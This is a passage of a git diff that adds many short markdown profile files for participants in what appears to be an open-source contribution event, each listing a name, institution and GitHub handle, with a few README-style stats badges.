a/content/participant/mukul314.md b/content/participant/mukul314.md new file mode 100644 index 00000000000..442f93ba9f4 --- /dev/null +++ b/content/participant/mukul314.md @@ -0,0 +1,5 @@ +--- +name: MUKUL OJHA +institution/company: MBM UNIVERSITY +github: mukul314 +--- \ No newline at end of file diff --git a/content/participant/mumus.md b/content/participant/mumus.md new file mode 100644 index 00000000000..d2135c5a4cb --- /dev/null +++ b/content/participant/mumus.md @@ -0,0 +1,5 @@ +--- +Name: Musthafa h +institution/company: Terbuka University +github: https://github.com/MUSHANIF +--- diff --git a/content/participant/munyanezaarmel.md b/content/participant/munyanezaarmel.md new file mode 100644 index 00000000000..46038ce9ec6 --- /dev/null +++ b/content/participant/munyanezaarmel.md @@ -0,0 +1,4 @@ +name: Armel Munyaneza +institution/company: university of Rwanda +github: munyanezaarmel + diff --git a/content/participant/muradha.md b/content/participant/muradha.md new file mode 100644 index 00000000000..0117d51e0e6 --- /dev/null +++ b/content/participant/muradha.md @@ -0,0 +1,5 @@ +--- +name: Rizki Adha +institution/company: Batam State Polytechnic +github: muradha +--- \ No newline at end of file diff --git a/content/participant/mvpsdvlpr.md b/content/participant/mvpsdvlpr.md new file mode 100644 index 00000000000..f46ad513e46 --- /dev/null +++ b/content/participant/mvpsdvlpr.md @@ -0,0 +1,3 @@ +name: Sergio Matamala +institution/company: Tecnoandina / UNAB +github: mvpsdvlpr diff --git a/content/participant/mylena-angelica.md b/content/participant/mylena-angelica.md new file mode 100644 index 00000000000..e762e9c9517 --- /dev/null +++ b/content/participant/mylena-angelica.md @@ -0,0 +1,5 @@ +--- +👩🏻‍💻name: Mylena Angélica +institution: UNB, Brazil +github:https://github.com/Mylena-angelica +--- diff --git a/content/participant/mzubair21.md b/content/participant/mzubair21.md new file mode 100644 index 00000000000..978072be33f --- /dev/null +++ b/content/participant/mzubair21.md @@ -0,0 +1,5 @@ +--- +name: Muhammad Zubair +institution/company: Bytewise +github:mzubair21 +--- \ No newline at end of file diff --git a/content/participant/nakatsinho.md b/content/participant/nakatsinho.md new file mode 100644 index 00000000000..0add8a9df19 --- /dev/null +++ b/content/participant/nakatsinho.md @@ -0,0 +1,5 @@ +--- +name: nakatsinho +institution: Transport & Communication Institute +github: github.com/nakatsinho +--- diff --git a/content/participant/nani-samireddy.md b/content/participant/nani-samireddy.md new file mode 100644 index 00000000000..8ec215e4d10 --- /dev/null +++ b/content/participant/nani-samireddy.md @@ -0,0 +1,5 @@ +--- +name: Nani Samireddy +institution/company: Aditya Engineering College s +github: nani-samireddy +--- \ No newline at end of file diff --git a/content/participant/nanodg.md b/content/participant/nanodg.md new file mode 100644 index 00000000000..530da2912e3 --- /dev/null +++ b/content/participant/nanodg.md @@ -0,0 +1,5 @@ +--- +name: NanoDG +institution/company: NanoDG +github:nanodg +--- diff --git a/content/participant/nanwp.md b/content/participant/nanwp.md new file mode 100644 index 00000000000..f61485b77f7 --- /dev/null +++ b/content/participant/nanwp.md @@ -0,0 +1,5 @@ +--- +Name : Nanda Wijaya Putra +institution : Vokasi IPB +github : nanwp +--- \ No newline at end of file diff --git a/content/participant/naseeb0.md b/content/participant/naseeb0.md new file mode 100644 index 00000000000..aa48855ad6d --- /dev/null +++ b/content/participant/naseeb0.md @@ -0,0 +1,5 @@ +--- +name: Naseeb Dangi +institution/company: Madan Bhandari Memorial College +github:naseeb0 +--- diff --git a/content/participant/nathaliafab.md b/content/participant/nathaliafab.md new file mode 100644 index 00000000000..f2c92d6c7f7 --- /dev/null +++ b/content/participant/nathaliafab.md @@ -0,0 +1,5 @@ +--- +name: Nathalia Araújo +institution/company: CIn UFPE +github: nathaliafab +--- \ No newline at end of file diff --git a/content/participant/naufal.md b/content/participant/naufal.md new file mode 100644 index 00000000000..e20fa35189b --- /dev/null +++ b/content/participant/naufal.md @@ -0,0 +1,5 @@ +--- +name: Naufal Rachmandani +institution/company: Universitas Pembangunan Nasional Veteran Jakarta Indonesia +github: NaufalRachmandani +--- \ No newline at end of file diff --git a/content/participant/neocollege.md b/content/participant/neocollege.md new file mode 100644 index 00000000000..c55ed41e027 --- /dev/null +++ b/content/participant/neocollege.md @@ -0,0 +1,5 @@ +--- +name: prath +institution: DJSCE, Mumbai +github: neocollege +--- \ No newline at end of file diff --git a/content/participant/neutr0nStar.md b/content/participant/neutr0nStar.md new file mode 100644 index 00000000000..2148f53f355 --- /dev/null +++ b/content/participant/neutr0nStar.md @@ -0,0 +1,5 @@ +--- +name: Sneharsh Belsare +institution/company: SVNIT Surat, Gujarat, India +github: neutr0nStar +--- diff --git a/content/participant/nexuswho.md b/content/participant/nexuswho.md new file mode 100644 index 00000000000..6347127ea1d --- /dev/null +++ b/content/participant/nexuswho.md @@ -0,0 +1,5 @@ +--- +name: Karthik +institution/company: VIT +github: nexuswho +--- diff --git a/content/participant/nfiscus.md b/content/participant/nfiscus.md new file mode 100644 index 00000000000..b7b7c0278c5 --- /dev/null +++ b/content/participant/nfiscus.md @@ -0,0 +1,5 @@ +--- +Name: Nathan Fiscus +institution/company: 3-GIS +github: nfiscus +--- \ No newline at end of file diff --git a/content/participant/nicholashuber.md b/content/participant/nicholashuber.md new file mode 100644 index 00000000000..3e4a06cc481 --- /dev/null +++ b/content/participant/nicholashuber.md @@ -0,0 +1,5 @@ +--- +name: Nicholas Huber +institution/company: HuberDev +github: https://github.com/Nicholashuber +--- diff --git a/content/participant/nietzen.md b/content/participant/nietzen.md new file mode 100644 index 00000000000..43c79b6c02b --- /dev/null +++ b/content/participant/nietzen.md @@ -0,0 +1,5 @@ +--- +name: Jose Segura +institution/company: Edify +github: nietzen +--- diff --git a/content/participant/nikhil697.md b/content/participant/nikhil697.md new file mode 100644 index 00000000000..089c17647e5 --- /dev/null +++ b/content/participant/nikhil697.md @@ -0,0 +1,5 @@ +--- +name: NIKHIL CHADHA +institution/company: THAPAR INSTITUTE OF ENGINEERING AND TECHNOLOGY +github: nikhil697 +--- \ No newline at end of file diff --git a/content/participant/nikodyring.md b/content/participant/nikodyring.md new file mode 100644 index 00000000000..7fc20aac8ab --- /dev/null +++ b/content/participant/nikodyring.md @@ -0,0 +1,5 @@ +--- +name: Nikolaj Dyring Jensen +institution/company: Group Logistic ApS +github: Nikodyring +--- diff --git a/content/participant/nim.md b/content/participant/nim.md new file mode 100644 index 00000000000..494d819f8d9 --- /dev/null +++ b/content/participant/nim.md @@ -0,0 +1,5 @@ +--- +name: NIMISH VERMA +institution/company: INTERNET +github:nimish-verma +--- diff --git a/content/participant/nipun3120.md b/content/participant/nipun3120.md new file mode 100644 index 00000000000..1d3483fa7c5 --- /dev/null +++ b/content/participant/nipun3120.md @@ -0,0 +1,5 @@ +--- +name: Nipun verma +institution/company: vidyo.ai +github: nipun3120 +--- diff --git a/content/participant/nirUpma52.md b/content/participant/nirUpma52.md new file mode 100644 index 00000000000..f3c17da72b8 --- /dev/null +++ b/content/participant/nirUpma52.md @@ -0,0 +1,5 @@ +--- +Name: Nirupma Kumari +institution/company: National Institute of Technology Jamshedpur +github: nirUpma52 +--- \ No newline at end of file diff --git a/content/participant/nithin_makam.md b/content/participant/nithin_makam.md new file mode 100644 index 00000000000..4b364cb66e7 --- /dev/null +++ b/content/participant/nithin_makam.md @@ -0,0 +1,5 @@ +--- +name: Nithin Makam +company: Cognizant +github: nithinmakam +--- diff --git a/content/participant/nitin-pandita.md b/content/participant/nitin-pandita.md index f47c381ebcf..19250599838 100644 --- a/content/participant/nitin-pandita.md +++ b/content/participant/nitin-pandita.md @@ -1,5 +1,5 @@ ---- -Name : Nitin Pandita -College : Maharshi Dayanand University -Github : nitin-pandita +--- +Name : Nitin Pandita +College : Maharshi Dayanand University +Github : nitin-pandita --- \ No newline at end of file diff --git a/content/participant/nitish.md b/content/participant/nitish.md new file mode 100644 index 00000000000..3eab31d4980 --- /dev/null +++ b/content/participant/nitish.md @@ -0,0 +1,5 @@ +--- +name: Nitish Pal +institution/company: G H PATEL COLLEGE OF ENGINEERING AND TECHNOLOGY +github:USERNAME +--- diff --git a/content/participant/nitisharav.md b/content/participant/nitisharav.md new file mode 100644 index 00000000000..85a235dea58 --- /dev/null +++ b/content/participant/nitisharav.md @@ -0,0 +1,5 @@ +--- +name: Nitish Kumar +institution/company: University of petroleum and energy studies +github:nitisharav +--- diff --git a/content/participant/nitishpal68.md b/content/participant/nitishpal68.md new file mode 100644 index 00000000000..61619417448 --- /dev/null +++ b/content/participant/nitishpal68.md @@ -0,0 +1,5 @@ +--- +name: Nitish Pal +institution/company: G H PATEL COLLEGE OF ENGINEERING AND TECHNOLOGY +github:https://github.com/Nitishpal68 +--- diff --git a/content/participant/nitishwaa.md b/content/participant/nitishwaa.md new file mode 100644 index 00000000000..3cba7a0959b --- /dev/null +++ b/content/participant/nitishwaa.md @@ -0,0 +1,5 @@ +--- +name: Nitish Kumar Singh +institution/company: Madan Mohan Malaviya University Of Technology, Gorakhpur +github:nitishwaa +--- \ No newline at end of file diff --git a/content/participant/noobchirag69.md b/content/participant/noobchirag69.md new file mode 100644 index 00000000000..0a499b03183 --- /dev/null +++ b/content/participant/noobchirag69.md @@ -0,0 +1,5 @@ +--- +name: Chirag Chakraborty +institution/company: IEMA Research & Development Pvt. Ltd. +github: noobchirag69 +--- \ No newline at end of file diff --git a/content/participant/notdhruvgupta.md b/content/participant/notdhruvgupta.md new file mode 100644 index 00000000000..d97e8adc175 --- /dev/null +++ b/content/participant/notdhruvgupta.md @@ -0,0 +1,5 @@ +--- +name: DHRUV GUPTA +institution/company: CHANDIGARH UNIVERSITY +github:NOTDHRUVGUPTA +--- diff --git a/content/participant/notsointresting.md b/content/participant/notsointresting.md new file mode 100644 index 00000000000..b6e4bb276d8 --- /dev/null +++ b/content/participant/notsointresting.md @@ -0,0 +1,5 @@ +--- +name: Sahil Shriwardhankar +institution/company: DBATU +github:notsointresting +--- diff --git a/content/participant/nyrkln.md b/content/participant/nyrkln.md new file mode 100644 index 00000000000..5b41e7f6e70 --- /dev/null +++ b/content/participant/nyrkln.md @@ -0,0 +1,5 @@ +--- +name: Kaline Vidal +institution/company: UFSCar +github: nyrkln +--- diff --git a/content/participant/ochufy.md b/content/participant/ochufy.md new file mode 100644 index 00000000000..530ae1440d8 --- /dev/null +++ b/content/participant/ochufy.md @@ -0,0 +1,5 @@ +--- +name: Roshan +institution/company: +github:ochufy +--- diff --git a/content/participant/offtheus21.md b/content/participant/offtheus21.md new file mode 100644 index 00000000000..61e2e6afdaa --- /dev/null +++ b/content/participant/offtheus21.md @@ -0,0 +1,3 @@ +name: Matheus Monteiro +institution/company: . +github:offtheus21 \ No newline at end of file diff --git a/content/participant/ohdana.md b/content/participant/ohdana.md new file mode 100644 index 00000000000..a4106e4243e --- /dev/null +++ b/content/participant/ohdana.md @@ -0,0 +1,5 @@ +--- +name: Dana +institution/company: Home +github: ohdana +--- diff --git a/content/participant/ojas_mittal.md b/content/participant/ojas_mittal.md new file mode 100644 index 00000000000..76285b48758 --- /dev/null +++ b/content/participant/ojas_mittal.md @@ -0,0 +1,5 @@ +--- +name: Ojas Mittal +LinkedIn: https://www.linkedin.com/in/ojas-mittal-13b133225/ +github: https://github.com/OjasMittal +--- diff --git a/content/participant/okky.md b/content/participant/okky.md new file mode 100644 index 00000000000..c8cf543ec7c --- /dev/null +++ b/content/participant/okky.md @@ -0,0 +1,5 @@ +--- +name: Okky Alwan Baidhoo +institution/company: Octopush +github: oklays +--- \ No newline at end of file diff --git a/content/participant/oladelewonder.md b/content/participant/oladelewonder.md new file mode 100644 index 00000000000..7c765fa0cc6 --- /dev/null +++ b/content/participant/oladelewonder.md @@ -0,0 +1,5 @@ +--- +name: Oladele wonder jeremiah +institution: lagos state university,Lagos +github: oladelewonder +--- \ No newline at end of file diff --git a/content/participant/om-mishra7.md b/content/participant/om-mishra7.md new file mode 100644 index 00000000000..4a93823ba33 --- /dev/null +++ b/content/participant/om-mishra7.md @@ -0,0 +1,15 @@ +# 💫 About Me: +Budding Full Stack Developer......
    + +# 📊 GitHub Stats: +![](https://github-readme-stats.vercel.app/api?username=om-mishra7&theme=dark&hide_border=false&include_all_commits=true&count_private=true)
    +![](https://github-readme-streak-stats.herokuapp.com/?user=om-mishra7&theme=dark&hide_border=false)
    +![](https://github-readme-stats.vercel.app/api/top-langs/?username=om-mishra7&theme=dark&hide_border=false&include_all_commits=true&count_private=true&layout=compact) + +### 🔝 Top Contributed Repo +![](https://github-contributor-stats.vercel.app/api?username=om-mishra7&limit=5&theme=dark&combine_all_yearly_contributions=true) + +--- +[![](https://visitcount.itsvg.in/api?id=om-mishra7&icon=5&color=12)](https://visitcount.itsvg.in) + + diff --git a/content/participant/omd02.md b/content/participant/omd02.md new file mode 100644 index 00000000000..8aaf3818c24 --- /dev/null +++ b/content/participant/omd02.md @@ -0,0 +1,5 @@ +--- +name: Om Deshmukh +institution/company: Mumbai University +github: omd02 +--- \ No newline at end of file diff --git a/content/participant/onkar.md b/content/participant/onkar.md index a2551c461b9..c9ec265c0ba 100644 --- a/content/participant/onkar.md +++ b/content/participant/onkar.md @@ -1,3 +1,3 @@ -name: Onkar Pethe -institution/company: JSPM'S RSCOE -github:https://github.com/onkarpethe15-ai +name: Onkar Pethe +institution/company: JSPM'S RSCOE +github:https://github.com/onkarpethe15-ai diff --git a/content/participant/outzhu.md b/content/participant/outzhu.md new file mode 100644 index 00000000000..11c1667e9b7 --- /dev/null +++ b/content/participant/outzhu.md @@ -0,0 +1,5 @@ +--- +Name: Ada Codina +Company: Infinite Omicron +Github:outzhu +--- diff --git a/content/participant/p1utoze.md b/content/participant/p1utoze.md new file mode 100644 index 00000000000..43711f4e5c1 --- /dev/null +++ b/content/participant/p1utoze.md @@ -0,0 +1,5 @@ +--- +name: Adithya Awati +institution/company: Dayananand Sagar College of Engineering +github: https://github.com/p1utoze +--- \ No newline at end of file diff --git a/content/participant/p7uverma.md b/content/participant/p7uverma.md new file mode 100644 index 00000000000..2d456ee22e7 --- /dev/null +++ b/content/participant/p7uverma.md @@ -0,0 +1,31 @@ +# Priyanshu Verma + +### India + +Uttar Pradesh + +### Academics +- Studying in India + +### Interests + +- Computer Science +- Space Exploration + +### Development + +- SnapLine + + +### Projects + +> Gita Mobile +- [Gita Mobile](https://github.com/p7uverma/Gita-Mobile) +> + +> Snapline +- [Snapline](https://github.com/p7uverma/SnapLine) +> +### Profile Link + +Go to profile [p7uverma](https://github.com/p7uverma/) diff --git a/content/participant/pa-kh039.md b/content/participant/pa-kh039.md new file mode 100644 index 00000000000..ac94473d36f --- /dev/null +++ b/content/participant/pa-kh039.md @@ -0,0 +1,5 @@ +--- +name: Parth Khandenath +institution/company: Indian Institute of Technology Bhilai +github: pa-kh039 +--- \ No newline at end of file diff --git a/content/participant/parikshit.md b/content/participant/parikshit.md new file mode 100644 index 00000000000..7e73177ab51 --- /dev/null +++ b/content/participant/parikshit.md @@ -0,0 +1,5 @@ +--- +name: Parikshit Hiwase +institution/company: YCCE +github: Parikshit001 +--- diff --git a/content/participant/parthbijpuriya.md b/content/participant/parthbijpuriya.md new file mode 100644 index 00000000000..f139cd51ee9 --- /dev/null +++ b/content/participant/parthbijpuriya.md @@ -0,0 +1,5 @@ +--- +Name: Parth Bijpuriya +institution/company: Pranveer Singh Institute of Technology +github: https://github.com/parth656 +--- \ No newline at end of file diff --git a/content/participant/photon.md b/content/participant/photon.md new file mode 100644 index 00000000000..7605f1e177e --- /dev/null +++ b/content/participant/photon.md @@ -0,0 +1,5 @@ +--- +name: Sahajpreet Singh +institution/company: IIT Roorkee +github: https://github.com/photon0205 +--- diff --git a/content/participant/picturepatch07.md b/content/participant/picturepatch07.md new file mode 100644 index 00000000000..0536fa42f9d --- /dev/null +++ b/content/participant/picturepatch07.md @@ -0,0 +1,5 @@ +--- +name: Abhishek Anand +institution/company: Symbiosis Institute of Technology +github: https://github.com/picturepatch07 +--- diff --git a/content/participant/piumir3.md b/content/participant/piumir3.md new file mode 100644 index 00000000000..b74415b1732 --- /dev/null +++ b/content/participant/piumir3.md @@ -0,0 +1,6 @@ + +--- +name: piumi rathnayake +institution/company: Undergraduate Student from University of Moratuwa, Faculty of Information Technology +github: https://github.com/Piumir3 +--- diff --git a/content/participant/piyushk77.md b/content/participant/piyushk77.md new file mode 100644 index 00000000000..8eb77f4c594 --- /dev/null +++ b/content/participant/piyushk77.md @@ -0,0 +1,15 @@ +--- +# PIYUSH KATYAL + +### Academics +- Computer Science Engineering + +### Development + +- Full Stack Developer +- Data Science enthusiast + +### Profile Link + +Go to profile [piyushk77](https://github.com/piyushk77) + diff --git a/content/participant/pk21-praveen.md b/content/participant/pk21-praveen.md new file mode 100644 index 00000000000..273d7fef194 --- /dev/null +++ b/content/participant/pk21-praveen.md @@ -0,0 +1,5 @@ +--- +name: PRAVEENKUMAR SRIKANTHAN +institution/company: Sri Lanka Institute of Information Technology +github: pk21-praveen +--- diff --git a/content/participant/plk02.md b/content/participant/plk02.md new file mode 100644 index 00000000000..d1acd8b06d4 --- /dev/null +++ b/content/participant/plk02.md @@ -0,0 +1,3 @@ +name: Palak +institution/company: nies +github:plk02 diff --git a/content/participant/poornaditya1.md b/content/participant/poornaditya1.md new file mode 100644 index 00000000000..218ee6b75b0 --- /dev/null +++ b/content/participant/poornaditya1.md @@ -0,0 +1,2 @@ +| Name | Institution/Company | Github | +| Poornaditya Mishra | University of Michigan | poornaditya1 | diff --git a/content/participant/prabhjotsingh-22.md b/content/participant/prabhjotsingh-22.md new file mode 100644 index 00000000000..5c4b3350608 --- /dev/null +++ b/content/participant/prabhjotsingh-22.md @@ -0,0 +1,5 @@ +--- +name: Prabhjot Singh Walia +institution/company: JC Bose UST, YMCA Faridabad +github: prabhjotsingh-22 +--- diff --git a/content/participant/prachisuman.md b/content/participant/prachisuman.md new file mode 100644 index 00000000000..f79237a4d32 --- /dev/null +++ b/content/participant/prachisuman.md @@ -0,0 +1,5 @@ +--- +name: PRACHI SUMAN +institution/company: Veer Surendra Sai University Of Technology +github: prachisuman25 +--- diff --git a/content/participant/pradip-sutariya.md b/content/participant/pradip-sutariya.md new file mode 100644 index 00000000000..b6fb0866646 --- /dev/null +++ b/content/participant/pradip-sutariya.md @@ -0,0 +1,5 @@ +--- +name: Pradip Sutariya +institution/company: Aubergine Solutions PVT LTD. +github: pradipaub36 +--- diff --git a/content/participant/prakash.md b/content/participant/prakash.md new file mode 100644 index 00000000000..890bfa87a7f --- /dev/null +++ b/content/participant/prakash.md @@ -0,0 +1,17 @@ +--- +# Padhma Prakash A + +### Location + +Coimbatore + + +### Interests + +- Machine Learning + + + +### Profile Link + +Go to profile [prakash2903](https://github.com/prakash2903/) diff --git a/content/participant/pranav-jj.md b/content/participant/pranav-jj.md new file mode 100644 index 00000000000..1ef0147f040 --- /dev/null +++ b/content/participant/pranav-jj.md @@ -0,0 +1,5 @@ +--- +name: Pranav J +institution/company: VIT +github: Pranav-JJ +--- \ No newline at end of file diff --git a/content/participant/prateekchourasiya b/content/participant/prateekchourasiya new file mode 100644 index 00000000000..05ade14d583 --- /dev/null +++ b/content/participant/prateekchourasiya @@ -0,0 +1,3 @@ +name:-prateek chourasiya +college;-oriental institute of science and technology +user name:-prateek031 diff --git a/content/participant/pravar25.md b/content/participant/pravar25.md new file mode 100644 index 00000000000..a93458bc1a3 --- /dev/null +++ b/content/participant/pravar25.md @@ -0,0 +1,5 @@ +--- +name: Pravar Gupta +institution/company: Indian Institute of Information Technology, Kalyani +github: pravar25 +--- diff --git a/content/participant/pravarjain19.md b/content/participant/pravarjain19.md new file mode 100644 index 00000000000..2a80bcad344 --- /dev/null +++ b/content/participant/pravarjain19.md @@ -0,0 +1,5 @@ +--- +Name: Pravar Jain +institution/company: Jain University +github: https://github.com/pravarjain19 +--- \ No newline at end of file diff --git a/content/participant/priscillaTrevizan.md b/content/participant/priscillaTrevizan.md new file mode 100644 index 00000000000..5c475ad230b --- /dev/null +++ b/content/participant/priscillaTrevizan.md @@ -0,0 +1,5 @@ +--- +name: Priscilla Trevizan +institution: Paraná ,Brasil +github: priscillatrevizan +--- diff --git a/content/participant/priyapahwa.md b/content/participant/priyapahwa.md new file mode 100644 index 00000000000..c46ad434acc --- /dev/null +++ b/content/participant/priyapahwa.md @@ -0,0 +1,5 @@ +--- +name: PRIYA PAHWA +institution/company: NIT HAMIRPUR +github: priyapahwa +--- \ No newline at end of file diff --git a/content/participant/puspakirana.md b/content/participant/puspakirana.md new file mode 100644 index 00000000000..a0f1ca0a06b --- /dev/null +++ b/content/participant/puspakirana.md @@ -0,0 +1,5 @@ +--- +name: Puspakirana +institution/company: President University +github: puspakirana +--- diff --git a/content/participant/quanhieuq.md b/content/participant/quanhieuq.md new file mode 100644 index 00000000000..1c650b3edef --- /dev/null +++ b/content/participant/quanhieuq.md @@ -0,0 +1,5 @@ +--- +Name: Quan Hieu +institution/company: Freelance. +github: quanhieu +--- diff --git a/content/participant/ra1nbow1.md b/content/participant/ra1nbow1.md new file mode 100644 index 00000000000..86c28187d8a --- /dev/null +++ b/content/participant/ra1nbow1.md @@ -0,0 +1,5 @@ +--- +Name: Matvey Romanov +institution/company: RBS Inc. +github: ra1nbow1 +--- diff --git a/content/participant/rachana1104.md b/content/participant/rachana1104.md new file mode 100644 index 00000000000..103dc1b622e --- /dev/null +++ b/content/participant/rachana1104.md @@ -0,0 +1,5 @@ +--- +name: Rachana Yeldi +institution/company: Dwarkadas Jivanlal Sanghvi College of Engineering +github: Rachana1104 +--- \ No newline at end of file diff --git a/content/participant/rachanagywali.md b/content/participant/rachanagywali.md new file mode 100644 index 00000000000..8022565948d --- /dev/null +++ b/content/participant/rachanagywali.md @@ -0,0 +1,5 @@ +--- +name: Rachana gywawali +institution/company: Butwal multiple campus, Nepal +github: rachanagyawali +--- diff --git a/content/participant/radsadorn.md b/content/participant/radsadorn.md new file mode 100644 index 00000000000..314b768f537 --- /dev/null +++ b/content/participant/radsadorn.md @@ -0,0 +1,5 @@ +--- +name: Sutthirat Phutho +institution/company: KMITL, THAILAND +github: radsadorn +--- diff --git a/content/participant/rahullgupta.md b/content/participant/rahullgupta.md new file mode 100644 index 00000000000..4ba89e18d77 --- /dev/null +++ b/content/participant/rahullgupta.md @@ -0,0 +1,5 @@ +--- +name: Rahul Kumar Gupta +institution/company: Chandigarh University +github: rahullgupta +--- diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/__init__.py b/content/participant/rahulseth8.md similarity index 100% rename from Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/__init__.py rename to content/participant/rahulseth8.md diff --git a/content/participant/raj2820.md b/content/participant/raj2820.md new file mode 100644 index 00000000000..5e3f6a22398 --- /dev/null +++ b/content/participant/raj2820.md @@ -0,0 +1,5 @@ +--- +name: RAJ SHINDE +institution/company: NETCORECLOUD +github: raj2820 +--- \ No newline at end of file diff --git a/content/participant/rajkasaudhan b/content/participant/rajkasaudhan new file mode 100644 index 00000000000..b5f780cf815 --- /dev/null +++ b/content/participant/rajkasaudhan @@ -0,0 +1,5 @@ +--- +Name: Raj Kasaudhan +Institution/company: Jain Deemed-to-be University, Bangalore +github: rajksd01 +--- diff --git a/content/participant/ramdani-surya.md b/content/participant/ramdani-surya.md index 430e4e4ac9e..8b137891791 100644 --- a/content/participant/ramdani-surya.md +++ b/content/participant/ramdani-surya.md @@ -1,5 +1 @@ ---- -name: Ramdani Surya -institution: - -github: github.com/ramdani-surya ---- + diff --git a/content/participant/rcorbellini.md b/content/participant/rcorbellini.md new file mode 100644 index 00000000000..b6b4b89ea0c --- /dev/null +++ b/content/participant/rcorbellini.md @@ -0,0 +1,5 @@ +--- +name: Rafael Corbellini +institution/company: Itau unibanco +github: rcorbellini +--- diff --git a/content/participant/reddysaranya.md b/content/participant/reddysaranya.md new file mode 100644 index 00000000000..f53acba4800 --- /dev/null +++ b/content/participant/reddysaranya.md @@ -0,0 +1,5 @@ +--- +name: REDDYSARANYA +institution/company: G.NARAYANAMMA COLLEGE +github: REDDYSARANYA +--- \ No newline at end of file diff --git a/content/participant/renuka-rajpuria.md b/content/participant/renuka-rajpuria.md new file mode 100644 index 00000000000..69db1ff55bf --- /dev/null +++ b/content/participant/renuka-rajpuria.md @@ -0,0 +1,5 @@ +--- +name: Renuka Rajpuria +Institution: Karunya Institue of Technology and Sciences +github: renuka-rajpuria +--- diff --git a/content/participant/reppocs.md b/content/participant/reppocs.md new file mode 100644 index 00000000000..f3d3219c051 --- /dev/null +++ b/content/participant/reppocs.md @@ -0,0 +1,5 @@ +--- +name: reppocs +institution/company: Nope Inc. +github: reppocs +--- diff --git a/content/participant/ridwan.md b/content/participant/ridwan.md new file mode 100644 index 00000000000..3e6a90e1408 --- /dev/null +++ b/content/participant/ridwan.md @@ -0,0 +1,5 @@ +--- +name: RidwanRizqi +institution/company: State Polytechnic of Malang +github:RidwanRizqi +--- \ No newline at end of file diff --git a/content/participant/rimarusama.md b/content/participant/rimarusama.md new file mode 100644 index 00000000000..1f1b6b4e36b --- /dev/null +++ b/content/participant/rimarusama.md @@ -0,0 +1,5 @@ +--- +name: Sudam Majhi +institution/company: Delhi Technological University +github: rimarusama +--- \ No newline at end of file diff --git a/content/participant/rishabhdhawad.md b/content/participant/rishabhdhawad.md new file mode 100644 index 00000000000..e5c6f6d0f4a --- /dev/null +++ b/content/participant/rishabhdhawad.md @@ -0,0 +1,5 @@ +--- +name: Rishabh Dhawad +institution/company: Shri Vaishnav Vidyapeeth Vishwavidyalaya +github: rishabhdhawad +--- \ No newline at end of file diff --git a/content/participant/rituraniiii.md.txt b/content/participant/rituraniiii.md.txt new file mode 100644 index 00000000000..a5fdd93ead3 --- /dev/null +++ b/content/participant/rituraniiii.md.txt @@ -0,0 +1,3 @@ +name: Ritu +institution/company: VSSUT +github:rituraniiii \ No newline at end of file diff --git a/content/participant/riwantositinjak.md b/content/participant/riwantositinjak.md new file mode 100644 index 00000000000..eea915e5b01 --- /dev/null +++ b/content/participant/riwantositinjak.md @@ -0,0 +1,5 @@ +--- +name: riwantositinjak +institution: independent +github: github.com/riwantositinjak +--- diff --git a/content/participant/rohankolhatkar02.md b/content/participant/rohankolhatkar02.md new file mode 100644 index 00000000000..21412b730f0 --- /dev/null +++ b/content/participant/rohankolhatkar02.md @@ -0,0 +1,5 @@ +--- +name: Rohan Kolhatkar +institution/company: Savitribai Phule Pune University +github: rohankolhatkar02 +--- \ No newline at end of file diff --git a/content/participant/ronelgazar.md b/content/participant/ronelgazar.md new file mode 100644 index 00000000000..2fb397f882d --- /dev/null +++ b/content/participant/ronelgazar.md @@ -0,0 +1,5 @@ +--- +name: Ron Elgazar +institution/company: O.R.T Givat Ram College, Israel / Freelancer +github: ronelgazar +--- diff --git a/content/participant/ronisarkarexe.md b/content/participant/ronisarkarexe.md new file mode 100644 index 00000000000..5b0bde842dd --- /dev/null +++ b/content/participant/ronisarkarexe.md @@ -0,0 +1,5 @@ +--- +Name: Roni Sarkar +institution/company: RK University +github: ronisarkarexe +--- diff --git a/content/participant/ronitsharma03.md b/content/participant/ronitsharma03.md new file mode 100644 index 00000000000..2d79170203c --- /dev/null +++ b/content/participant/ronitsharma03.md @@ -0,0 +1,5 @@ +--- +name: Ronit khajuria +institution/company: Bharati Vidyapeeth College of engineering +github: ronitsharma03 +--- \ No newline at end of file diff --git a/content/participant/rounak-ghosh.md b/content/participant/rounak-ghosh.md new file mode 100644 index 00000000000..a57e117e72b --- /dev/null +++ b/content/participant/rounak-ghosh.md @@ -0,0 +1,5 @@ +--- +name: Rounak Ghosh +institution/company: GCETTB +github:rounak-ghosh +--- \ No newline at end of file diff --git a/content/participant/rskbansal.md b/content/participant/rskbansal.md new file mode 100644 index 00000000000..e9895c6b113 --- /dev/null +++ b/content/participant/rskbansal.md @@ -0,0 +1,5 @@ +--- +Name: Rhythm Bansal +Institution: BITS Pilani, Goa Campus +github: rskbansal +--- diff --git a/content/participant/rupesh-piwal.md b/content/participant/rupesh-piwal.md new file mode 100644 index 00000000000..ee41b434e78 --- /dev/null +++ b/content/participant/rupesh-piwal.md @@ -0,0 +1,5 @@ +--- +name: Rupesh +institution/company: Pune University +github:rupesh-piwal +--- \ No newline at end of file diff --git a/content/participant/s-makin.md b/content/participant/s-makin.md new file mode 100644 index 00000000000..6fb3ad41ed5 --- /dev/null +++ b/content/participant/s-makin.md @@ -0,0 +1,5 @@ +--- +name: s-makin +institution/company: Canonical (Ubuntu) +github: s-makin +--- diff --git a/content/participant/sachinbarupal.md b/content/participant/sachinbarupal.md new file mode 100644 index 00000000000..1624e0503e0 --- /dev/null +++ b/content/participant/sachinbarupal.md @@ -0,0 +1,5 @@ +--- +name: Sachin +institution/company: MBM University Jodhpur +github: sachinbarupal +--- diff --git a/content/participant/sachinpantha.md b/content/participant/sachinpantha.md new file mode 100644 index 00000000000..06a531bad2f --- /dev/null +++ b/content/participant/sachinpantha.md @@ -0,0 +1,5 @@ +--- +name: Sachin Pantha +institution/company: Butwal Multiple Campus, Nepal +github: sachinpantha +--- \ No newline at end of file diff --git a/content/participant/sadab.md b/content/participant/sadab.md new file mode 100644 index 00000000000..646184dba13 --- /dev/null +++ b/content/participant/sadab.md @@ -0,0 +1,5 @@ +--- +name: Sadab Rahman +institution/company: Planit +github: sadab +--- \ No newline at end of file diff --git a/content/participant/sagargupta16.md b/content/participant/sagargupta16.md new file mode 100644 index 00000000000..57ee78ea14c --- /dev/null +++ b/content/participant/sagargupta16.md @@ -0,0 +1,5 @@ +--- +name: Sagar Gupta +institution/company: National Institute of Technology , Warangal +github: Sagargupta16 +--- diff --git a/content/participant/saikatbishal.md b/content/participant/saikatbishal.md new file mode 100644 index 00000000000..72095beb11f --- /dev/null +++ b/content/participant/saikatbishal.md @@ 